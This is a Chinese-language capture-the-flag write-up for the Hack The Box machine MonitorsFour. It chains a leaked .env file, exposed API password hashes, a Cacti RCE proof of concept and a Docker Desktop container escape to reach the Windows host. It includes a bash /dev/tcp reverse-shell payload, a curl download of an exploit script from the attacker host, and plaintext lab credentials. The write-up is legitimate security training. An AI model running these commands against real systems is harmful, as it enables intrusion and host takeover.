HTB MonitorsFour 靶机实战记录:从越权访问到容器逃逸的完整攻击链
2026/6/4 17:33:50 网站建设 项目流程

靶机概览

HTB MonitorsFour 是一台难度评级为 EASY 的 Windows 靶机。该靶机以企业监控环境为背景,主要攻击路径围绕 信息泄漏、服务枚举、已知漏洞利用(CVE)与容器逃逸 展开。从外部 Web 应用入手,通过配置文件泄露获取凭据,利用 Cacti 系统的高危 RCE 漏洞进入容器内部,最终借助 Docker Desktop 的容器逃逸漏洞突破边界,成功控制底层 Windows 宿主系统。整个过程清晰地展示了从外网渗透到容器逃逸的完整链条,为理解 Windows 环境下容器化服务的常见安全风险与攻击面提供了典型的实战案例。


信息收集

端口扫描

使用 Rustscan 和 Nmap 进行初步扫描:

rustscan -a 10.10.11.98 --ulimit 5000
nmap -sV -sC -p 80,5985 10.10.11.98 -Pn -v

发现服务:

  • 80/tcp - HTTP (nginx) - 重定向到 monitorsfour.htb
  • 5985/tcp - HTTP (Microsoft HTTPAPI) - WinRM 服务

子域名枚举

使用 FFuF 进行子域名枚举:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \ -H "Host: FUZZ.monitorsfour.htb" \ -u http://monitorsfour.htb \ -fs 138

发现子域名:

  • cacti.monitorsfour.htb - Cacti 监控系统

目录枚举

使用 dirsearch 发现敏感文件:

dirsearch -u http://monitorsfour.htb -e php,html,js,json,txt

关键发现:

  • /.env - 包含数据库凭据
  • /user - API 端点
  • /login - 登录页面

初始访问

数据库信息泄漏

访问http://monitorsfour.htb/.env泄露数据库配置:

DB_HOST=mariadb DB_PORT=3306 DB_NAME=monitorsfour_db DB_USER=monitorsdbuser DB_PASS=f37p2j8f4t0r

未授权信息泄露

访问http://monitorsfour.htb/api/v1/users?token=0&id=x返回用户数据,包含:

[ { "id": 2, "username": "admin", "email": "admin@monitorsfour.htb", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "role": "super user", "token": "d8a25ad7bdb87198d0", "name": "Marcus Higgins", "position": "System Administrator" } // ... 其他用户 ]


密码破解

使用 CrackStation 破解 MD5 哈希:

  • 56b32eb43e6f15395f6c46c1c9e1cd36wonderful1

访问管理面板

使用凭据admin:wonderful1成功登录


查看更新日志

访问http://monitorsfour.htb/admin/changelog

关键更新:

  • V.1.9 (June 2, 2025) - API 用户集成,支持令牌认证
  • V.1.7 (May 16, 2025) - 迁移到 Windows 和 Docker Desktop 4.44.2
  • V.1.6 (May 1, 2025) - 修复忘记密码功能的 SQL 注入漏洞

CVE-2025-24367 - Cacti RCE 漏洞

搜索发现 Cacti 1.2.28 存在 RCE 漏洞CVE-2025-24367对于漏洞利用需要已认证的Cacti用户


枚举 Cacti 用户

使用 Burp Suite 对http://cacti.monitorsfour.htb/进行爆破:

成功获取凭据:marcus:wonderful1


获取反向 Shell

使用公开的 PoC:

python3 exploit.py -u marcus -p wonderful1 -i 10.10.16.11 -l 4033 -url http://cacti.monitorsfour.htb


环境探测

检查挂载点

mount

发现是容器环境,路径中包含 desktop-containerd,这明确指向 Docker Desktop 环境,changelog说明了其版本为4.44.2。


Docker Desktop 逃逸漏洞 - CVE-2025-9074

搜索发现 Docker Desktop 4.44.2 存在容器逃逸漏洞CVE-2025-9074


访问 Docker API

curl -s http://192.168.65.7:2375/version

成功访问 Docker API,确认存在未受保护的 Docker 守护进程。


Docker 逃逸

准备 POC

攻击机开启 HTTP 服务器

python3 -m http.server 8033

容器内下载

curl http://10.10.16.11:8033/cve-2025-9074.sh -o cve-2025-9074.sh

执行容器逃逸
./cve-2025-9074.sh 192.168.65.7 "bash -c 'bash -i >& /dev/tcp/10.10.16.11/1033 0>&1'" 2375

成功获得 root shell


Flag 获取

获取 user flag

cat /host_root/run/desktop/mnt/host/c/Users/marcus/Desktop/user.txt

获取 root flag

cat /host_root/run/desktop/mnt/host/c/Users/Administrator/Desktop/root.txt

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询